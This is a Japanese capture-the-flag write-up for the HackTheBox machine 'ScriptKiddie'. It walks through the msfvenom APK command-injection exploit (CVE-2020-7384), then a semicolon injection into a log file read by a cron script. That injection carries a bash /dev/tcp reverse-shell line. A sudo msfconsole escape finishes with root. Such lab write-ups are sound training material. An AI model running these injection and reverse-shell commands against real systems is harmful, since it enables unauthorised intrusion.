HackTheBox ScriptKiddie
ScriptKiddie
侵入
nmap
ポートスキャン
┌──(kali㉿kali)-[~/Desktop/ScriptKiddie]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.226 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open http syn-ack ttl 63 Werkzeug httpd 0.16.1 (Python 3.8.5)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
22、5000番を発見
web
nmap や payloads などを発見
試しに nmap に自分の IP アドレスを入力すると、実行結果が出力された
payloads も試しに実行してみた。リバースシェルに使える実行ファイルが生成されたことから、msfvenom が使用されているようだ
CVE-2020-7384
先程の、payloads では、venom が使用されているようだ
同じサイト上の searchsploit で検索してみると、興味深い脆弱性を発見
上の脆弱性を Google で調べてみる
このモジュールは、巧妙に細工された APK ファイルを Android ペイロード テンプレートとして使用する際
に、Metasploit フレームワークの msfvenom ペイロード ジェネレーターのコマンド インジェクションの脆弱
性を悪用します。Metasploit Framework <= 6.0.11 および Metasploit Pro <= 4.18.0 に影
響します。
今回のサイトで使用できそう。metasploit が使用できることもわかった
metasploit
サイトを参考に、metasploit を実行していく
msf6 > search venom
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection 2020-10-29 excellent No Rapid7 Metasploit Framework msfvenom APK Template Command Injection
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run
[+] msf.apk stored at /home/kali/.msf4/local/msf.apk
msf.apk というファイルを取得できた
kid としてのシェル
nc
先程取得したファイルを payloads で使用する
kali で待ち受ける
┌──(kali㉿kali)-[~/Desktop/ScriptKiddie]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.226] 57400
whoami
kid
侵入成功
user フラグ
kid@scriptkiddie:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
列挙
pwn
ホームディレクトリをみるとわかるように、kid とは別に、pwn ユーザの存在を確認
kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
ディレクトリを探索すると、scanlosers.sh を発見
中身を詳しくみていく
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
ここでは、hackers ファイルを読み込み、cut で空白ごとに分割
その後、分割した3つ目以降のフィールドを使用し、nmap の実行を行なっている
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
最後に、hackers ファイルの中身を消去している
kid@scriptkiddie:~/logs$ cat hackers
現に、hackers ファイルを確認すると、現状では何も入っていない状態だった
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
注目するのは、ここの部分である。これは、セミコロンを使用することで、任意のコマンドを実行できる可能性がある
kid@scriptkiddie:~/logs$ echo "x x x 127.0.0.1; ping -c 1 10.10.14.12 #" > hackers
<x x x 127.0.0.1; ping -c 1 10.10.14.12 #" > hackers
試しに上記のような文字列を hackers ファイルに記述
┌──(kali㉿kali)-[~/Desktop/ScriptKiddie]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:26:07.131940 IP 10.10.10.226 > 10.10.14.12: ICMP echo request, id 1, seq 1, length 64
23:26:07.131977 IP 10.10.14.12 > 10.10.10.226: ICMP echo reply, id 1, seq 1, length 64
ping が実行できたことがわかる
pwn としてのシェル
bash
kid@scriptkiddie:~/logs$ echo "x x x 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.12/5555 0>&1' #" > hackers
< -i >& /dev/tcp/10.10.14.12/5555 0>&1' #" > hackers
bash を実行する文字列を hackers に記述
┌──(kali㉿kali)-[~/Desktop/ScriptKiddie]
└─$ nc -lvnp 5555
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.226] 41328
bash: cannot set terminal process group (869): Inappropriate ioctl for device
bash: no job control in this shell
pwn@scriptkiddie:~$ whoami
pwn
シェルの取得に成功
権限昇格
sudo
pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie:
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
msfconsole に NOPASSWD を発見
root としてのシェル
msfconsole
pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v6.0.9-dev ]
+ -- --=[ 2069 exploits - 1122 auxiliary - 352 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Open an interactive Ruby terminal with irb
msf6 > /bin/bash
stty: 'standard input': Inappropriate ioctl for device
[*] exec: /bin/bash
whoami
root
権限昇格成功
root フラグ
root@scriptkiddie:~# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
所感
今回のボックスは、CVE に気づくことができず、時間を結構使ってしまった。知識量の少なさを実感した。権限昇格の方法は結構あるらしいので、色々と試してみたい。
Discussion